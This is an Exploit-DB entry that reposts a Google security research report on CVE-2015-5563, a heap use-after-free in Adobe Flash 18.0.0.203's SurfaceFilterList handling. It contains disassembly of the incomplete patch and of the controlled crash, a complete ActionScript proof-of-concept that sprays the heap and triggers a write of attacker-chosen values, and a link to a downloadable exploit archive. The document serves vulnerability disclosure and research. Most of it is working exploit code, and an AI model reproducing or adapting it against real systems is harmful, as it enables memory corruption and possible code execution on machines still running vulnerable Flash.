Adobe Flash Heap Use-After-Free in SurfaceFilterList::C​reateFromScriptAtom

2015-08-19T00:00:00
ID EDB-ID:37884
Type exploitdb
Reporter bilou
Modified 2015-08-19T00:00:00

Description

Adobe Flash Heap Use-After-Free in SurfaceFilterList::C​reateFromScriptAtom. CVE-2015-5563. Dos exploit for windows platform

                                        
                                            Source: https://code.google.com/p/google-security-research/issues/detail?id=484&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Tracking for: https://code.google.com/p/chromium/issues/detail?id=508072]

VULNERABILITY DETAILS
Copy Paste of  Issue 480496 

VERSION
Chrome Version: N/A yet, Flash 18.0.0.203
Operating System: [Win7 x64 SP1]

REPRODUCTION CASE

Flash 18.0.0.203 patched  Issue 480496  by checking if the internal filter object is still alive after the first Array.length call (from Flash player standalone):

.text:004D71DA loc_4D71DA:
.text:004D71DA                 and     ecx, 0FFFFFFF8h
.text:004D71DD                 call    xAS2_getArrayLength
.text:004D71E2                 test    eax, eax
.text:004D71E4                 jle     short loc_4D725D
.text:004D71E6                 mov     ecx, [esp+8+arg_C]
.text:004D71EA                 mov     eax, [ecx+94h]
.text:004D71F0                 test    eax, 0FFFFFFFEh
.text:004D71F5                 jz      short loc_4D7200
.text:004D71F7                 and     eax, 0FFFFFFFEh
.text:004D71FA                 cmp     dword ptr [eax+28h], 0       ; here we check whether the object has been deleted or not
.text:004D71FE                 jnz     short loc_4D720B
.text:004D7200
.text:004D7200 loc_4D7200:
.text:004D7200                 mov     ecx, dword_E51A40
.text:004D7206                 call    sub_968A00                   ; and in that case we suicide


Unfortunately they forget to do that check after the second Array.length call:

.text:004D721D loc_4D721D:
.text:004D721D                 and     eax, 0FFFFFFF8h
.text:004D7220                 push    edi
.text:004D7221                 mov     edi, eax
.text:004D7223                 mov     ecx, edi
.text:004D7225                 xor     esi, esi
.text:004D7227                 call    xAS2_getArrayLength       ; here we can still execute a script and delete the filters...
.text:004D722C                 test    eax, eax
.text:004D722E                 jle     short loc_4D725C

Should crash that way:
CPU Disasm
Address   Hex dump          Command                                  Comments
004CE27F    8B51 04         MOV EDX,DWORD PTR DS:[ECX+4]
004CE282    8942 04         MOV DWORD PTR DS:[EDX+4],EAX         ; write a pointer to 0x41424344
004CE285    8B51 04         MOV EDX,DWORD PTR DS:[ECX+4]
004CE288    8950 08         MOV DWORD PTR DS:[EAX+8],EDX
004CE28B    FF41 08         INC DWORD PTR DS:[ECX+8]
004CE28E    8941 04         MOV DWORD PTR DS:[ECX+4],EAX
004CE291    C2 0400         RETN 4
004CE294    FF41 08         INC DWORD PTR DS:[ECX+8]


***************************************************************************
Content of flash_as2_filters_uaf_write4_poc.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "4"
//It's because Flash CS5.5 does not allow naming a property with a numeral

import flash.filters.GlowFilter;

var tfield:TextField = createTextField("tf",1,1,2,3,4)
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x3F8/4;i++) {
	a2[i] = 0x41424344
}
a2[3] = 0
a2[0x324/4] = 0x41424344
a2[0x324/4 + 1] = 0x41424344
a2[0x324/4 + 2] = 0x41414143
a2[0x324/4 + 3] = 0x41414100
for (var i = 0; i<0x200;i++) {
	var tf:TextFormat = new TextFormat()
	a1[i] = tf
}
for (var i = 0; i<0x100;i++) {
	a1[i].tabStops = a2
}
	a1[0xFF].tabStops = []

function f() {

	_global.mc.createTextField("tf",1,1,2,3,4)

a1[0xFE].tabStops = []
a1[0xFD].tabStops = []
for (var i = 0x100; i<0x200;i++) {
		_global.a1[i].tabStops = _global.a2
	}
}

_global.mc = this
_global.counter = 0
_global.a1 = a1
_global.a2 = a2

var oCounter:Object = new Object()
oCounter.valueOf = function () {
	_global.counter += 1
	if (_global.counter == 4) f()
	return 10;
}

var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o;


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37884.zip